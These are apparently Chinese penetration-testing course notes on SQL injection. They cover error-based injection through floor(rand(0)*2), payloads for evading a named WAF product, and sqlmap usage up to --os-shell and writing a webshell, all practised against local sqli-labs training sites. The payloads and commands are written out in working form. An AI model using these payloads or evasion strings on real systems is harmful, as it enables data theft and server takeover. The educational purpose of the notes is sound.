伪随机数这个特性在”select rand(0),id from 表名“中也能体现出来:
2.count()
count():计数、统计的
3.group by
4.group by和count(*)结合使用
函数详解
RAND() RAND(N)
返回一个随机浮点值 v ,范围在 0 到1 之间 (即, 其范围为 0 ≤ v ≤ 1.0)。若已指定一个整数参数 N ,则它被用作种子值,用来产生重复序列。
rand() 随机数函数
floor() 向下取整函数
count() 计数函数
group by 分组方法
count和group by结合使用
mysql> select * from user;
+----+--------+--------+
| Id | uname | pwd |
+----+--------+--------+
| 1 | admin | 123456 |
| 2 | admin1 | 123457 |
| 3 | admin2 | 123458 |
| 4 | admin3 | 12321 |
| 5 | admin | 12345 |
+----+--------+--------+
5 rows in set (0.00 sec)
mysql> select count(*) from user group by uname;
+----------+
| count(*) |
+----------+
| 2 |
| 1 |
| 1 |
| 1 |
+----------+
4 rows in set (0.00 sec)
mysql遇到该语句时,会建立一个虚拟表(虚拟表就是一旦用完以后就会被销毁),那整个工作流程就会如下图所示:
先建立虚拟表,key是主键,不可重复
依次对分组字段数据到key中查询,如果key中没有相同数据,就进行添加,cout为1
如果在key中查询遇到相同的数据,则不会进行数据的插入,会对count加1操作!
group by floor(rand(0)*2)报错原理
实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下是 0110110011 …的顺序 记住这个顺序对理解比较重要
其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次。
那这个“被计算多次”到底是什么意思?*就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。
我们来看下floor(rand(0)*2)报错的过程就知道了,从上面可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。
具体看看select count(*) from student group by floor(rand(0)*2);的查询过程
sql语句为select count( * ) ,floor(rand(0) * 2) x from user group by x:
既然会报错,我们想让报错的sql语句一并在报错信息中显示出来.
构造报错语句
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
concat就会将database()查询出的结果和报错主键值进行合并,然后输出来报错信息中。
注意:不能直接写成select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x,这样写会报语法错误。
注意点1:select concat前面要有一个select 1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LKEeMEGv-1681261781725)(sql注入渗透与防御typora图片/image-20230407230344219.png)]
报错语句的意思是:操作数应包含一列
原因是:floor是虚拟表中的列,所以concat这整一个都是虚拟的。但是我们从information_schema里面查的得是真实的,所以我们要在concat前面加一个1。
注意点2:%23前面要有一个c
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OLkK8fnD-1681261781726)(sql注入渗透与防御typora图片/image-20230407231447028.png)]
这个报错是提醒我们:每个派生表(虚拟表)都必须有自己的别名
第五章:WAF绕过
5.1 SQL注入之WAF绕过
一、WAF拦截原理:
原理:WAF从规则库中匹配敏感字符进行拦截。
常见的网址WAF工具:
- 网站安全狗——免费;出现的早
- 宝塔(付费)
- 阿里云的云盾(付费)
下面我们以安全狗为WAF来进行绕过:
1.更改数据提交方式
如果WAF只是拦截get请求中的and和or,那么我们就可以使用post提交方式来进行绕过。
但是这种适用场景较少——》必须只是拦截get请求中的and和or;而且后台接收get请求的函数也能够接收post请求。
2.关键词大小写绕过
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举例: union select ---> unIOn SeLEcT
3.编码绕过
对WAF会进行过滤的字符,使用URL编码、Unicode编码、十六进制编码、Hex编码等编码可以进行绕过.
举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
(老师在演示的时候不知道为什么没有成功)
4.双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举例:UNIunionON ,SELselectECT anandd
但是安全狗4.0也对这种绕过方式进行了拦截。
5.换行(\N)绕过
举例:select * from admin where username = \N union select 1,user() from admin
针对安全狗4.0的防止联合查询的绕过方式:要使用换行绕过。
联合查询WAF的绕过的payload:%20/*//--/*/ /*!--+/*%0aselecct/*!1,2,3*/ --+
%0a是换行符(因为在mysql中一条sql语句就算是分成2行书写,也是能够被执行的)
后面的/*!1,2,3*/需要加上注释符是因为如果我们要用database()函数的话,就需要内联注释来帮我们进行绕过。
%20/*//--/*/ /*!--+/*%0aselecct/*!1,database(),3*/ --+
6.注释符内联注释绕过:
注意:使用内联绕过的话,//中间一定要加些东西,要不这个//就不起作用了。
解决问题1:安全狗会将输入的数据里面的database()整体抠出来过滤掉。但是经过我们的尝试,发现我们只输入database和只输入()的话,这些东西是不会被过滤掉的。所以我们就想着吧database和()分开,就可以实现绕过了。
database()中database和()分割开后,依然能够指向database()函数的功能:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U4gKClkB-1681261781727)(sql注入渗透与防御typora图片/image-20230408084424055.png)]
--+、#、%23都是外联注释,是在sql语句外部写的。
/**/是内联注释符,在sql语句内部可以使用
sqli-labs靶场第二关payload: id=1 union select 1,database/**/(),3
解决问题2:
安全狗会防止联合查询,也就是输入的sql语句中union和select不能同时出现。
union selecte =/*!union*/ select
注释符里感叹号后面的内容会被mysql执行。
也就是安全狗以为注释符里面的东西已经被注释掉了,但是事实上注释符中感叹号后面的东西是会被mysql执行的。
但是只有安全狗3.5之前可以用这个内联注释+感叹号的方式绕过。
针对安全狗4.0的绕过方式:要使用换行绕过
联合查询WAF的绕过的payload:%20/*//--/*/ /*!--+/*%0aselecct/*!1,2,3*/ --+
%0a是换行符(因为在mysql中一条sql语句就算是分成2行书写,也是能够被执行的)
后面的/*!1,2,3*/需要加上注释符是因为如果我们要用database()函数的话,就需要内联注释来帮我们进行绕过。
%20/*//--/*/ /*!--+/*%0aselecct/*!1,database(),3*/ --+
解决问题3:
安全狗有拦截order by的WAF,所以我们还是通过内联注释吧order和by分开,可以达到绕过的效果。
7.同义词替换
and和or可以用符号来替换
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格
HTTP参数污染
这种方式是利用了编程语言中某些函数的特性。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eSCpNRcf-1681261781727)(sql注入渗透与防御typora图片/image-20230408100746786.png)]
知识点:对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/
上述语句的解释:因为php的GET函数是只选取最后一个参数的,所以实际上php接收到的参数是id=-1%20union%20select%201,2,3%23
因为php的GET函数接收到多个参数时,只会获取最后一个参数。 所以上图中虽然我们传入了a=1和a=3,最后只会接收a=3.
小结:WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性
第六章:sqlmap
pre:SQLmap的安装
sqlmap的安装指南已经放在教程合集里面了。
6.1 SQL注入之sqlmap使用(get型注入)
一、SQLMap介绍
1、Sqlmap简介:
Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。
上面都是在了解手工注入的方式;但是实战当中,我们是会借助一些工具来提高我们的渗透测试速度的。sqlmap在sql注入工具里面是最经典、最全面的。
sqlmap里面有提供字典,会使用爆破的方式确定注入点。
sqlmap特别占用ip访问的线程量,所以甲方公司企业里面一般不让我们用工具。或者说和甲方协商夜深人静的时候再用工具去测试。
2、Sqlmap支持的注入方式:
Sqlmap全面支持六种SQL注入技术:
- 基于布尔类型的盲注boolean-based blind:即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注time-based blind:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
- 基于报错注入error-based:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入UNION query:在可以使用Union的情况下的注入。
- 堆查询注入:可以同时执行多条语句时的注入。
- 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
kail里面也有sqlmap
二、SQLMap使用:
1、启动
sqlmap.py //启动
2、判断是否存在注入:
假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1
,判断其是否存在注入的命令如下:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
当注入点后面的参数大于等于两个时,必需要加双引号,如下所示。
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"
运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:
第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测是否是其他数据库的过程;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IILuP8PL-1681261781728)(sql注入渗透与防御typora图片/image-20230408150648828.png)]
第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z9kSwKGl-1681261781728)(sql注入渗透与防御typora图片/image-20230408150554327.png)]
- –level=LEVEL 执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。也就是扫描的位点变多了。
- -risk=RISK 执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。也就是测试的payload种类变多了。
- (level和risk越高,执行的速度更慢)
第三处的意思是参数 id
存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oZpDFs8X-1681261781729)(sql注入渗透与防御typora图片/image-20230408150519090.png)]
常用命令:
小规律:参数中只有1个字符的,都是一个杠;1个字母以上的参数是2个杠。
-u:用于get提交方式,后面跟注入的url网址(POST提交不用-u参数)
修改level和risk的指令:
--level
--risk
示例:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --level 3
--dbs:获取当前网站下所有数据库的名字
--tables:获取所有数据表的名字(要先用-D选中某个库,然后再用这个--tales的参数查询该数据库的表
示例:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D "test" --tables
--columns:获取所有字段的字段名
示例:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D "test" -T "t1" --columns
--dump:打印数据(查询某个字段的数据)
示例:sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D "test" -T "t1" -C "name,pass" --dump
打印出来的数据是默认直接保存在电脑本地c盘里面的
-D:查询选择某个库(D就是database的意思)
-T:查询选择某个表(T就是table)
-C:查询选择某个字段(C就是columns)
执行打印数据库表的字段值后系统的提示:将打印的值以.CSV的格式放在了C盘里面。
我们用everything+系统给的地址就可以找到这个存有数据库表数据的文件
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BzhdhYnK-1681261781729)(sql注入渗透与防御typora图片/image-20230408155459016.png)]
6.2 SQL注入之sqlmap使用(post注入)
POST型:与数据库交互是通过post数据进行,URL不可见
利用sqlmap进行POST注入,常见的有三种方法:
注入方式一:
sqli-lab靶场第12或11关:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aUaMkDYS-1681261781730)(sql注入渗透与防御typora图片/image-20230408213951044.png)]
1.用Burp抓包,然后判断有无sql的注入点,然后将抓取到的内容保存到某个文档中。例如:保存为1.txt,然后把它放至某个目录下(一般放到桌面上就可以了)
可能存在sql注入点的字段有:User-Agent\cookie\uname\passwd
2.打开sqlmap,查出数据库名:
方法一:使用-p来指定我们想要检测的字段名
可能存在sql注入的字段有很多,如果我们感觉某一个字段最有可能存在sql注入,只想扫描这个字段的话,就用-p参数来指定,如-p uname
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs
--dbs 展示所有数据库
--current-db 显示当前数据库
-p uname 指定扫描uname这一个字段(-p是parameter参数的意思)
也可以使用 * 来指定需要测试的参数(也就是*和-p的作用一样,但是*是再要扫描的文档里面就要写好的)
在文档中,在需要扫描的字段值后面加上*,sqlmap识别到以后就会专门去扫描这些有星号的字段:
一般输入上面的语句后会出现下面几个提示:
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"
POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"Y"
-r表示加载一个文件,-p指定参数
--current-db 当前数据库
--dbs 展示所有数据库
--forms 自动检测表单
扫描结束后,sqlmap还会把成功检测出sql漏洞的payload显示给我们!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I4An1B7a-1681261781731)(sql注入渗透与防御typora图片/image-20230408220558322.png)]
3.猜表名
选择一个数据库,比如选test(这里的sqlmap命令语句和get型注入时的语句基本一样,只是因为扫描的是个文件不是网站,所以把-u参数换成了-r
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test --tables
4.猜字段
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test -T t1 --columns
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5P5qonOQ-1681261781733)(https://fynotefile.oss-cn-zhangjiakou.aliyuncs.com/fynote/4348/1651663711000/f96cf3e6a13d4e90a7e3a051bf3fe64f.png)]
方法二:使用*来指定需要检索的字段
首先在文档中,在需要扫描的字段值后面加上*,sqlmap识别到以后就会专门去扫描这些有星号的字段:
在文档中在我们想要扫描的字段后面加上*后,然后打开sqlmap输入指令:
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt --dbs
然后剩下的流程和命令行语句就和使用-p参数来指定扫描字段的方式一样了。
注意点:
如果有#2*就代表我们保存的文件中我们用星号指定的第二个参数。
tip:但是在工作中不推荐使用来指定字段——因为使用-p指定要扫描的参数的时候,实际上是把这个要扫描的参数去掉,直接换成payload;但是使用 * 来指定检测字段的话,实际上相当于payload只在的位置插入payload,然后payload和字段名(如上如的admin)会结合起来成为payload,这样不太好,有局限性和不好的影响。
注入方式二:自动搜索表单的方式
sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms
注意:上面的命令中的路径中的index.php是很容易漏掉的,因为这个index.php就算不显示在url中,实际上传输的时候也是会自动补充的
填了forms参数以后,就会自动在网站源码中寻找form表单来自动进行sql注入检测。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZzLGhQhc-1681261781733)(sql注入渗透与防御typora图片/image-20230408231039805.png)]
输入上面的命令后,系统会进行下列提示:
do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q] 输入"Y"
do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n] 输入"Y"
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"
POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"
do you want to exploit this SQL injection? [Y/n]
你想利用上面发现的漏洞进行SQL注入吗? 输入"Y"
输入Y后就会利用上面说到的payload来拿下数据库的库名
常用命令:
-r表示加载一个文件,-p指定参数
--current-db 当前数据库
--forms 自动检测表单
-data
注入方式三:–data方式
–data和–p的作用一样,都是指定参数。(这种方式最不常用)
6.3sql注入之sqlmap获取shell
核心命令是–os-shell
–os-shell的执行条件有四个:
(1)网站数据库必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,PHP主动转义(魔术引号)的功能关闭(没关闭的话我们上传文件就会很难)
(4)secure_file_priv无限制(因为想要getshell我们就要上传一些文件比如一句话木马到目标服务器,如果没有文件上传权限,那么我们就无法成功getshell)
1.首先查看数据库当前用户是不是root权限:
使用 --is-dba命令查看是否为管理员,若不是,则无法使用--os-shell命令。true是管理员;不是管理员则显示为false
或者可以使用 --users 查看当前数据库所有账号权限
例子:sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --users
2.使用 –os-shell命令:
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --os-shell --level=3
3.存在注入点后,会提示需要选择语言:
因为sqli-lab网站的后端语言是PHP,所以我们选择第4个。
4.选择路径:
选项一为用这几个公共路径
选项二为用户自己输入一个自定义路径
选项三为用"用户的字典"。
选项四为爆破。
(我们这里是打靶场第二关;我们选择选项二,然后把靶场第二关的源码给复制下来作为我们的自定义路径——这也是为什么我们上面要求说需要知道网站的绝对路径的原因)
上面获取shell的语句执行成功后,会发现我们刚刚填入的那个网站绝对路径下会多出2个文件:
这两个php文件和我们获取shell后的操作有关。
5.拿到shell后,我想知道当前这台服务器的ip地址:
输入ipconfig,就可以拿到部署数据库的网站的ip地址。
6.尝试写入一句话木马
注意:php的代码要用双引号括起来
写入成功
os-shell 执行原理
输入–os-shell来获取shell的本质就是写入两个php文件,其中的tmpumjti.php可以让我们的sqlmap有上传文件到网站路径下的功能。
有了tmpumjti.php文件后,sqlmap就会通过上面这个php文件上传一个用于命令执行的tmpubpwk.php文件到目标网站路径下,这个新的php文件可以让我们命令执行,并将我们执行命令后得到的内容返回到sqlmap终端。
获取shell前:
获取shell后:
总结:
sqlmap的–os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。
我们上课讲的都是Windows操作系统下的操作,所以像ipconfig什么的都是Windows下的指令;如果在Linux下进行操作的话还要使用Linux中的命令行。
附:QLmap安装教程
一、sqlmap简介
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
二、准备工作
(1) Python2.7.11;
https://www.python.org/
(2) SQLMap
https://sqlmap.org/
默认全选,下一步
更改安装路径即可
下载sqlmap:
下载完成,进行解压文件,推荐除C盘以外其他盘符
再安装路径下,输入cmd
启动cmd,输入sqlmap.py 检测是否运行成功!
对应工具包网盘地址:
链接:https://pan.baidu.com/s/1yC8P6a_5KI5B_JT7uyVHTw
提取码:0xkf